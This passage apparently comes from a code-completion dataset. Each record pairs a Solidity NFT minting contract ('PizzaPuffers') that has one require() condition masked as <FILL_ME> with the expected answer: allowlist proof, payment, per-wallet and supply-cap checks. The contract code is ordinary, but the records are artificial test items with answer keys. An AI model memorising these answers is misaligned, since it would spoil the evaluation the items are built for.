} // increment unchecked { // per user bought __n_og_minted[msg.sender] += uint8(quantity); // global minted __total_og_claimed += uint16(quantity); } _safeMint(msg.sender, quantity); } function mint_wl(uint256 quantity, bytes32[] memory proof) internal { } function mint_public(uint256 quantity) internal { } function mint(uint256 quantity, bytes32[] memory proof) external payable nonReentrant { } function getMintInfo() public view virtual returns (uint8, uint256, uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Withdraw ether from this contract (Callable by owner) **/ function withdraw() public onlyOwner() { } ////////////////////////////////////////////////////////////////////////// // Begin setter onlyOwner functions /** * @dev Set _mint_start **/ function setMintStart(uint256 v) public onlyOwner() { } /** * @dev Set halt minting */ function setHaltMint(bool v) public onlyOwner() { } /** * @dev Set merkle og root */ function setMerkleRootOG(bytes32 v) public onlyOwner() { } /** * @dev Set merkle root wl */ function setMerkleRootWL(bytes32 v) public onlyOwner() { } /** * @dev Set URI */ function setURI(string memory v) public onlyOwner() { } /** * @dev Set reveal */ function setIsReveal(bool v) public onlyOwner() { } // End setter onlyOwner functions ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // Begin util functions function toString(uint256 value) internal pure returns (string memory) { } // end util functions ////////////////////////////////////////////////////////////////////////// }
quantity*MINT_PRICE_OG==msg.value,"$ETH<"
381,321
quantity*MINT_PRICE_OG==msg.value
"overminting"
//SPDX-License-Identifier: BSD pragma solidity ^0.8.0; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; ///////////////////////////////////// contract PizzaPuffers is ERC721A, Ownable, ReentrancyGuard { uint16 public constant MAX_TOTAL_TOKENS = 5555; uint16 public constant MAX_OG_TOKENS = 1000; uint16 public constant MAX_WL_TOKENS = 2000; uint16 public constant MAX_OG_FREE_TOKENS = 400; uint16 public constant MAX_WL_FREE_TOKENS = 100; uint16 public constant MAX_TOTAL_FREE_TOKENS = MAX_OG_FREE_TOKENS + MAX_WL_FREE_TOKENS; // same slot uint16 public constant OG_MINT_DURATION = 60*30; // 30 minutes uint16 public constant WL_MINT_DURATION = 60*60; // 60 minutes uint256 public constant MAX_OG_MINTS_PER_WALLET = 2; uint256 public constant MAX_WL_MINTS_PER_WALLET = 2; // prices uint256 public constant MINT_PRICE_OG = 0.055 ether; uint256 public constant MINT_PRICE_WL = 0.066 ether; uint256 public constant MINT_PRICE_PUBLIC = 0.077 ether; // end constants // writer: contract // reader: contract mapping (address => bool) private __has_minted_free; uint16 private __og_free_claimed; uint16 private __wl_free_claimed; uint16 private __total_og_claimed; mapping (address => uint8) private __n_og_minted; uint16 private __total_wl_claimed; mapping (address => uint8) private __n_wl_minted; // writer: owner // reader: contract uint256 private _mint_start; bytes32 private _merkle_root_og; bytes32 private _merkle_root_wl; bool private _halt_mint = true; bool private _is_revealed; string private _URI; constructor() public ERC721A("PizzaPuffers", "ZAPUFS") payable {} function mint_og(uint256 quantity, bytes32[] memory proof) internal { // are on the OG list require(MerkleProof.verify(proof, _merkle_root_og, keccak256(abi.encodePacked(msg.sender))), "u!WL"); // not minting too much require(quantity <= MAX_OG_MINTS_PER_WALLET, ">quantity"); // need to have enough ETH to mint require(quantity*MINT_PRICE_OG == msg.value, "$ETH<"); // per user check require(<FILL_ME>) // global mint check require((__total_og_claimed + quantity) <= MAX_OG_TOKENS, "overminting:supply"); // free eligibility if ((__has_minted_free[msg.sender] == false) && ((__og_free_claimed + 1) <= MAX_OG_FREE_TOKENS)) { require((__og_free_claimed + 1) <= MAX_OG_FREE_TOKENS, "over free total."); unchecked{ __og_free_claimed++; } __has_minted_free[msg.sender] = true; // refund one tokens value (bool sent, ) = payable(msg.sender).call{value: MINT_PRICE_OG}(""); require(sent, "!refund"); } // increment unchecked { // per user bought __n_og_minted[msg.sender] += uint8(quantity); // global minted __total_og_claimed += uint16(quantity); } _safeMint(msg.sender, quantity); } function mint_wl(uint256 quantity, bytes32[] memory proof) internal { } function mint_public(uint256 quantity) internal { } function mint(uint256 quantity, bytes32[] memory proof) external payable nonReentrant { } function getMintInfo() public view virtual returns (uint8, uint256, uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Withdraw ether from this contract (Callable by owner) **/ function withdraw() public onlyOwner() { } ////////////////////////////////////////////////////////////////////////// // Begin setter onlyOwner functions /** * @dev Set _mint_start **/ function setMintStart(uint256 v) public onlyOwner() { } /** * @dev Set halt minting */ function setHaltMint(bool v) public onlyOwner() { } /** * @dev Set merkle og root */ function setMerkleRootOG(bytes32 v) public onlyOwner() { } /** * @dev Set merkle root wl */ function setMerkleRootWL(bytes32 v) public onlyOwner() { } /** * @dev Set URI */ function setURI(string memory v) public onlyOwner() { } /** * @dev Set reveal */ function setIsReveal(bool v) public onlyOwner() { } // End setter onlyOwner functions ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // Begin util functions function toString(uint256 value) internal pure returns (string memory) { } // end util functions ////////////////////////////////////////////////////////////////////////// }
(__n_og_minted[msg.sender]+quantity)<=MAX_OG_MINTS_PER_WALLET,"overminting"
381,321
(__n_og_minted[msg.sender]+quantity)<=MAX_OG_MINTS_PER_WALLET
"overminting:supply"
//SPDX-License-Identifier: BSD pragma solidity ^0.8.0; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; ///////////////////////////////////// contract PizzaPuffers is ERC721A, Ownable, ReentrancyGuard { uint16 public constant MAX_TOTAL_TOKENS = 5555; uint16 public constant MAX_OG_TOKENS = 1000; uint16 public constant MAX_WL_TOKENS = 2000; uint16 public constant MAX_OG_FREE_TOKENS = 400; uint16 public constant MAX_WL_FREE_TOKENS = 100; uint16 public constant MAX_TOTAL_FREE_TOKENS = MAX_OG_FREE_TOKENS + MAX_WL_FREE_TOKENS; // same slot uint16 public constant OG_MINT_DURATION = 60*30; // 30 minutes uint16 public constant WL_MINT_DURATION = 60*60; // 60 minutes uint256 public constant MAX_OG_MINTS_PER_WALLET = 2; uint256 public constant MAX_WL_MINTS_PER_WALLET = 2; // prices uint256 public constant MINT_PRICE_OG = 0.055 ether; uint256 public constant MINT_PRICE_WL = 0.066 ether; uint256 public constant MINT_PRICE_PUBLIC = 0.077 ether; // end constants // writer: contract // reader: contract mapping (address => bool) private __has_minted_free; uint16 private __og_free_claimed; uint16 private __wl_free_claimed; uint16 private __total_og_claimed; mapping (address => uint8) private __n_og_minted; uint16 private __total_wl_claimed; mapping (address => uint8) private __n_wl_minted; // writer: owner // reader: contract uint256 private _mint_start; bytes32 private _merkle_root_og; bytes32 private _merkle_root_wl; bool private _halt_mint = true; bool private _is_revealed; string private _URI; constructor() public ERC721A("PizzaPuffers", "ZAPUFS") payable {} function mint_og(uint256 quantity, bytes32[] memory proof) internal { // are on the OG list require(MerkleProof.verify(proof, _merkle_root_og, keccak256(abi.encodePacked(msg.sender))), "u!WL"); // not minting too much require(quantity <= MAX_OG_MINTS_PER_WALLET, ">quantity"); // need to have enough ETH to mint require(quantity*MINT_PRICE_OG == msg.value, "$ETH<"); // per user check require((__n_og_minted[msg.sender] + quantity) <= MAX_OG_MINTS_PER_WALLET, "overminting"); // global mint check require(<FILL_ME>) // free eligibility if ((__has_minted_free[msg.sender] == false) && ((__og_free_claimed + 1) <= MAX_OG_FREE_TOKENS)) { require((__og_free_claimed + 1) <= MAX_OG_FREE_TOKENS, "over free total."); unchecked{ __og_free_claimed++; } __has_minted_free[msg.sender] = true; // refund one tokens value (bool sent, ) = payable(msg.sender).call{value: MINT_PRICE_OG}(""); require(sent, "!refund"); } // increment unchecked { // per user bought __n_og_minted[msg.sender] += uint8(quantity); // global minted __total_og_claimed += uint16(quantity); } _safeMint(msg.sender, quantity); } function mint_wl(uint256 quantity, bytes32[] memory proof) internal { } function mint_public(uint256 quantity) internal { } function mint(uint256 quantity, bytes32[] memory proof) external payable nonReentrant { } function getMintInfo() public view virtual returns (uint8, uint256, uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Withdraw ether from this contract (Callable by owner) **/ function withdraw() public onlyOwner() { } ////////////////////////////////////////////////////////////////////////// // Begin setter onlyOwner functions /** * @dev Set _mint_start **/ function setMintStart(uint256 v) public onlyOwner() { } /** * @dev Set halt minting */ function setHaltMint(bool v) public onlyOwner() { } /** * @dev Set merkle og root */ function setMerkleRootOG(bytes32 v) public onlyOwner() { } /** * @dev Set merkle root wl */ function setMerkleRootWL(bytes32 v) public onlyOwner() { } /** * @dev Set URI */ function setURI(string memory v) public onlyOwner() { } /** * @dev Set reveal */ function setIsReveal(bool v) public onlyOwner() { } // End setter onlyOwner functions ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // Begin util functions function toString(uint256 value) internal pure returns (string memory) { } // end util functions ////////////////////////////////////////////////////////////////////////// }
(__total_og_claimed+quantity)<=MAX_OG_TOKENS,"overminting:supply"
381,321
(__total_og_claimed+quantity)<=MAX_OG_TOKENS
"over free total."
//SPDX-License-Identifier: BSD pragma solidity ^0.8.0; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; ///////////////////////////////////// contract PizzaPuffers is ERC721A, Ownable, ReentrancyGuard { uint16 public constant MAX_TOTAL_TOKENS = 5555; uint16 public constant MAX_OG_TOKENS = 1000; uint16 public constant MAX_WL_TOKENS = 2000; uint16 public constant MAX_OG_FREE_TOKENS = 400; uint16 public constant MAX_WL_FREE_TOKENS = 100; uint16 public constant MAX_TOTAL_FREE_TOKENS = MAX_OG_FREE_TOKENS + MAX_WL_FREE_TOKENS; // same slot uint16 public constant OG_MINT_DURATION = 60*30; // 30 minutes uint16 public constant WL_MINT_DURATION = 60*60; // 60 minutes uint256 public constant MAX_OG_MINTS_PER_WALLET = 2; uint256 public constant MAX_WL_MINTS_PER_WALLET = 2; // prices uint256 public constant MINT_PRICE_OG = 0.055 ether; uint256 public constant MINT_PRICE_WL = 0.066 ether; uint256 public constant MINT_PRICE_PUBLIC = 0.077 ether; // end constants // writer: contract // reader: contract mapping (address => bool) private __has_minted_free; uint16 private __og_free_claimed; uint16 private __wl_free_claimed; uint16 private __total_og_claimed; mapping (address => uint8) private __n_og_minted; uint16 private __total_wl_claimed; mapping (address => uint8) private __n_wl_minted; // writer: owner // reader: contract uint256 private _mint_start; bytes32 private _merkle_root_og; bytes32 private _merkle_root_wl; bool private _halt_mint = true; bool private _is_revealed; string private _URI; constructor() public ERC721A("PizzaPuffers", "ZAPUFS") payable {} function mint_og(uint256 quantity, bytes32[] memory proof) internal { // are on the OG list require(MerkleProof.verify(proof, _merkle_root_og, keccak256(abi.encodePacked(msg.sender))), "u!WL"); // not minting too much require(quantity <= MAX_OG_MINTS_PER_WALLET, ">quantity"); // need to have enough ETH to mint require(quantity*MINT_PRICE_OG == msg.value, "$ETH<"); // per user check require((__n_og_minted[msg.sender] + quantity) <= MAX_OG_MINTS_PER_WALLET, "overminting"); // global mint check require((__total_og_claimed + quantity) <= MAX_OG_TOKENS, "overminting:supply"); // free eligibility if ((__has_minted_free[msg.sender] == false) && ((__og_free_claimed + 1) <= MAX_OG_FREE_TOKENS)) { require(<FILL_ME>) unchecked{ __og_free_claimed++; } __has_minted_free[msg.sender] = true; // refund one tokens value (bool sent, ) = payable(msg.sender).call{value: MINT_PRICE_OG}(""); require(sent, "!refund"); } // increment unchecked { // per user bought __n_og_minted[msg.sender] += uint8(quantity); // global minted __total_og_claimed += uint16(quantity); } _safeMint(msg.sender, quantity); } function mint_wl(uint256 quantity, bytes32[] memory proof) internal { } function mint_public(uint256 quantity) internal { } function mint(uint256 quantity, bytes32[] memory proof) external payable nonReentrant { } function getMintInfo() public view virtual returns (uint8, uint256, uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Withdraw ether from this contract (Callable by owner) **/ function withdraw() public onlyOwner() { } ////////////////////////////////////////////////////////////////////////// // Begin setter onlyOwner functions /** * @dev Set _mint_start **/ function setMintStart(uint256 v) public onlyOwner() { } /** * @dev Set halt minting */ function setHaltMint(bool v) public onlyOwner() { } /** * @dev Set merkle og root */ function setMerkleRootOG(bytes32 v) public onlyOwner() { } /** * @dev Set merkle root wl */ function setMerkleRootWL(bytes32 v) public onlyOwner() { } /** * @dev Set URI */ function setURI(string memory v) public onlyOwner() { } /** * @dev Set reveal */ function setIsReveal(bool v) public onlyOwner() { } // End setter onlyOwner functions ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // Begin util functions function toString(uint256 value) internal pure returns (string memory) { } // end util functions ////////////////////////////////////////////////////////////////////////// }
(__og_free_claimed+1)<=MAX_OG_FREE_TOKENS,"over free total."
381,321
(__og_free_claimed+1)<=MAX_OG_FREE_TOKENS
"u!WL"
//SPDX-License-Identifier: BSD pragma solidity ^0.8.0; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; ///////////////////////////////////// contract PizzaPuffers is ERC721A, Ownable, ReentrancyGuard { uint16 public constant MAX_TOTAL_TOKENS = 5555; uint16 public constant MAX_OG_TOKENS = 1000; uint16 public constant MAX_WL_TOKENS = 2000; uint16 public constant MAX_OG_FREE_TOKENS = 400; uint16 public constant MAX_WL_FREE_TOKENS = 100; uint16 public constant MAX_TOTAL_FREE_TOKENS = MAX_OG_FREE_TOKENS + MAX_WL_FREE_TOKENS; // same slot uint16 public constant OG_MINT_DURATION = 60*30; // 30 minutes uint16 public constant WL_MINT_DURATION = 60*60; // 60 minutes uint256 public constant MAX_OG_MINTS_PER_WALLET = 2; uint256 public constant MAX_WL_MINTS_PER_WALLET = 2; // prices uint256 public constant MINT_PRICE_OG = 0.055 ether; uint256 public constant MINT_PRICE_WL = 0.066 ether; uint256 public constant MINT_PRICE_PUBLIC = 0.077 ether; // end constants // writer: contract // reader: contract mapping (address => bool) private __has_minted_free; uint16 private __og_free_claimed; uint16 private __wl_free_claimed; uint16 private __total_og_claimed; mapping (address => uint8) private __n_og_minted; uint16 private __total_wl_claimed; mapping (address => uint8) private __n_wl_minted; // writer: owner // reader: contract uint256 private _mint_start; bytes32 private _merkle_root_og; bytes32 private _merkle_root_wl; bool private _halt_mint = true; bool private _is_revealed; string private _URI; constructor() public ERC721A("PizzaPuffers", "ZAPUFS") payable {} function mint_og(uint256 quantity, bytes32[] memory proof) internal { } function mint_wl(uint256 quantity, bytes32[] memory proof) internal { // are on the wl require(<FILL_ME>) // not minting too much require(quantity <= MAX_WL_MINTS_PER_WALLET, ">quantity"); // need to have enough ETH to mint require(quantity*MINT_PRICE_WL == msg.value, "$ETH<"); // per user check require((__n_wl_minted[msg.sender] + quantity) <= MAX_WL_MINTS_PER_WALLET, "overminting"); // global mint check require((__total_wl_claimed + quantity) <= MAX_WL_TOKENS, "overminting:supply"); // free eligibility if ((__has_minted_free[msg.sender] == false) && ((__og_free_claimed + __wl_free_claimed + 1) <= MAX_TOTAL_FREE_TOKENS)) { require((__og_free_claimed + __wl_free_claimed + 1) <= MAX_TOTAL_FREE_TOKENS, "over free total."); unchecked{ __wl_free_claimed++; } __has_minted_free[msg.sender] = true; // refund one tokens value (bool sent, ) = payable(msg.sender).call{value: MINT_PRICE_WL}(""); require(sent, "!refund"); } // increment unchecked { // per user bought __n_wl_minted[msg.sender] = __n_wl_minted[msg.sender] + uint8(quantity); // global minted __total_wl_claimed = __total_wl_claimed + uint16(quantity); } _safeMint(msg.sender, quantity); } function mint_public(uint256 quantity) internal { } function mint(uint256 quantity, bytes32[] memory proof) external payable nonReentrant { } function getMintInfo() public view virtual returns (uint8, uint256, uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Withdraw ether from this contract (Callable by owner) **/ function withdraw() public onlyOwner() { } ////////////////////////////////////////////////////////////////////////// // Begin setter onlyOwner functions /** * @dev Set _mint_start **/ function setMintStart(uint256 v) public onlyOwner() { } /** * @dev Set halt minting */ function setHaltMint(bool v) public onlyOwner() { } /** * @dev Set merkle og root */ function setMerkleRootOG(bytes32 v) public onlyOwner() { } /** * @dev Set merkle root wl */ function setMerkleRootWL(bytes32 v) public onlyOwner() { } /** * @dev Set URI */ function setURI(string memory v) public onlyOwner() { } /** * @dev Set reveal */ function setIsReveal(bool v) public onlyOwner() { } // End setter onlyOwner functions ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // Begin util functions function toString(uint256 value) internal pure returns (string memory) { } // end util functions ////////////////////////////////////////////////////////////////////////// }
MerkleProof.verify(proof,_merkle_root_wl,keccak256(abi.encodePacked(msg.sender))),"u!WL"
381,321
MerkleProof.verify(proof,_merkle_root_wl,keccak256(abi.encodePacked(msg.sender)))
"$ETH<"
//SPDX-License-Identifier: BSD pragma solidity ^0.8.0; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; ///////////////////////////////////// contract PizzaPuffers is ERC721A, Ownable, ReentrancyGuard { uint16 public constant MAX_TOTAL_TOKENS = 5555; uint16 public constant MAX_OG_TOKENS = 1000; uint16 public constant MAX_WL_TOKENS = 2000; uint16 public constant MAX_OG_FREE_TOKENS = 400; uint16 public constant MAX_WL_FREE_TOKENS = 100; uint16 public constant MAX_TOTAL_FREE_TOKENS = MAX_OG_FREE_TOKENS + MAX_WL_FREE_TOKENS; // same slot uint16 public constant OG_MINT_DURATION = 60*30; // 30 minutes uint16 public constant WL_MINT_DURATION = 60*60; // 60 minutes uint256 public constant MAX_OG_MINTS_PER_WALLET = 2; uint256 public constant MAX_WL_MINTS_PER_WALLET = 2; // prices uint256 public constant MINT_PRICE_OG = 0.055 ether; uint256 public constant MINT_PRICE_WL = 0.066 ether; uint256 public constant MINT_PRICE_PUBLIC = 0.077 ether; // end constants // writer: contract // reader: contract mapping (address => bool) private __has_minted_free; uint16 private __og_free_claimed; uint16 private __wl_free_claimed; uint16 private __total_og_claimed; mapping (address => uint8) private __n_og_minted; uint16 private __total_wl_claimed; mapping (address => uint8) private __n_wl_minted; // writer: owner // reader: contract uint256 private _mint_start; bytes32 private _merkle_root_og; bytes32 private _merkle_root_wl; bool private _halt_mint = true; bool private _is_revealed; string private _URI; constructor() public ERC721A("PizzaPuffers", "ZAPUFS") payable {} function mint_og(uint256 quantity, bytes32[] memory proof) internal { } function mint_wl(uint256 quantity, bytes32[] memory proof) internal { // are on the wl require(MerkleProof.verify(proof, _merkle_root_wl, keccak256(abi.encodePacked(msg.sender))), "u!WL"); // not minting too much require(quantity <= MAX_WL_MINTS_PER_WALLET, ">quantity"); // need to have enough ETH to mint require(<FILL_ME>) // per user check require((__n_wl_minted[msg.sender] + quantity) <= MAX_WL_MINTS_PER_WALLET, "overminting"); // global mint check require((__total_wl_claimed + quantity) <= MAX_WL_TOKENS, "overminting:supply"); // free eligibility if ((__has_minted_free[msg.sender] == false) && ((__og_free_claimed + __wl_free_claimed + 1) <= MAX_TOTAL_FREE_TOKENS)) { require((__og_free_claimed + __wl_free_claimed + 1) <= MAX_TOTAL_FREE_TOKENS, "over free total."); unchecked{ __wl_free_claimed++; } __has_minted_free[msg.sender] = true; // refund one tokens value (bool sent, ) = payable(msg.sender).call{value: MINT_PRICE_WL}(""); require(sent, "!refund"); } // increment unchecked { // per user bought __n_wl_minted[msg.sender] = __n_wl_minted[msg.sender] + uint8(quantity); // global minted __total_wl_claimed = __total_wl_claimed + uint16(quantity); } _safeMint(msg.sender, quantity); } function mint_public(uint256 quantity) internal { } function mint(uint256 quantity, bytes32[] memory proof) external payable nonReentrant { } function getMintInfo() public view virtual returns (uint8, uint256, uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Withdraw ether from this contract (Callable by owner) **/ function withdraw() public onlyOwner() { } ////////////////////////////////////////////////////////////////////////// // Begin setter onlyOwner functions /** * @dev Set _mint_start **/ function setMintStart(uint256 v) public onlyOwner() { } /** * @dev Set halt minting */ function setHaltMint(bool v) public onlyOwner() { } /** * @dev Set merkle og root */ function setMerkleRootOG(bytes32 v) public onlyOwner() { } /** * @dev Set merkle root wl */ function setMerkleRootWL(bytes32 v) public onlyOwner() { } /** * @dev Set URI */ function setURI(string memory v) public onlyOwner() { } /** * @dev Set reveal */ function setIsReveal(bool v) public onlyOwner() { } // End setter onlyOwner functions ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // Begin util functions function toString(uint256 value) internal pure returns (string memory) { } // end util functions ////////////////////////////////////////////////////////////////////////// }
quantity*MINT_PRICE_WL==msg.value,"$ETH<"
381,321
quantity*MINT_PRICE_WL==msg.value
"overminting"
//SPDX-License-Identifier: BSD pragma solidity ^0.8.0; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; ///////////////////////////////////// contract PizzaPuffers is ERC721A, Ownable, ReentrancyGuard { uint16 public constant MAX_TOTAL_TOKENS = 5555; uint16 public constant MAX_OG_TOKENS = 1000; uint16 public constant MAX_WL_TOKENS = 2000; uint16 public constant MAX_OG_FREE_TOKENS = 400; uint16 public constant MAX_WL_FREE_TOKENS = 100; uint16 public constant MAX_TOTAL_FREE_TOKENS = MAX_OG_FREE_TOKENS + MAX_WL_FREE_TOKENS; // same slot uint16 public constant OG_MINT_DURATION = 60*30; // 30 minutes uint16 public constant WL_MINT_DURATION = 60*60; // 60 minutes uint256 public constant MAX_OG_MINTS_PER_WALLET = 2; uint256 public constant MAX_WL_MINTS_PER_WALLET = 2; // prices uint256 public constant MINT_PRICE_OG = 0.055 ether; uint256 public constant MINT_PRICE_WL = 0.066 ether; uint256 public constant MINT_PRICE_PUBLIC = 0.077 ether; // end constants // writer: contract // reader: contract mapping (address => bool) private __has_minted_free; uint16 private __og_free_claimed; uint16 private __wl_free_claimed; uint16 private __total_og_claimed; mapping (address => uint8) private __n_og_minted; uint16 private __total_wl_claimed; mapping (address => uint8) private __n_wl_minted; // writer: owner // reader: contract uint256 private _mint_start; bytes32 private _merkle_root_og; bytes32 private _merkle_root_wl; bool private _halt_mint = true; bool private _is_revealed; string private _URI; constructor() public ERC721A("PizzaPuffers", "ZAPUFS") payable {} function mint_og(uint256 quantity, bytes32[] memory proof) internal { } function mint_wl(uint256 quantity, bytes32[] memory proof) internal { // are on the wl require(MerkleProof.verify(proof, _merkle_root_wl, keccak256(abi.encodePacked(msg.sender))), "u!WL"); // not minting too much require(quantity <= MAX_WL_MINTS_PER_WALLET, ">quantity"); // need to have enough ETH to mint require(quantity*MINT_PRICE_WL == msg.value, "$ETH<"); // per user check require(<FILL_ME>) // global mint check require((__total_wl_claimed + quantity) <= MAX_WL_TOKENS, "overminting:supply"); // free eligibility if ((__has_minted_free[msg.sender] == false) && ((__og_free_claimed + __wl_free_claimed + 1) <= MAX_TOTAL_FREE_TOKENS)) { require((__og_free_claimed + __wl_free_claimed + 1) <= MAX_TOTAL_FREE_TOKENS, "over free total."); unchecked{ __wl_free_claimed++; } __has_minted_free[msg.sender] = true; // refund one tokens value (bool sent, ) = payable(msg.sender).call{value: MINT_PRICE_WL}(""); require(sent, "!refund"); } // increment unchecked { // per user bought __n_wl_minted[msg.sender] = __n_wl_minted[msg.sender] + uint8(quantity); // global minted __total_wl_claimed = __total_wl_claimed + uint16(quantity); } _safeMint(msg.sender, quantity); } function mint_public(uint256 quantity) internal { } function mint(uint256 quantity, bytes32[] memory proof) external payable nonReentrant { } function getMintInfo() public view virtual returns (uint8, uint256, uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Withdraw ether from this contract (Callable by owner) **/ function withdraw() public onlyOwner() { } ////////////////////////////////////////////////////////////////////////// // Begin setter onlyOwner functions /** * @dev Set _mint_start **/ function setMintStart(uint256 v) public onlyOwner() { } /** * @dev Set halt minting */ function setHaltMint(bool v) public onlyOwner() { } /** * @dev Set merkle og root */ function setMerkleRootOG(bytes32 v) public onlyOwner() { } /** * @dev Set merkle root wl */ function setMerkleRootWL(bytes32 v) public onlyOwner() { } /** * @dev Set URI */ function setURI(string memory v) public onlyOwner() { } /** * @dev Set reveal */ function setIsReveal(bool v) public onlyOwner() { } // End setter onlyOwner functions ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // Begin util functions function toString(uint256 value) internal pure returns (string memory) { } // end util functions ////////////////////////////////////////////////////////////////////////// }
(__n_wl_minted[msg.sender]+quantity)<=MAX_WL_MINTS_PER_WALLET,"overminting"
381,321
(__n_wl_minted[msg.sender]+quantity)<=MAX_WL_MINTS_PER_WALLET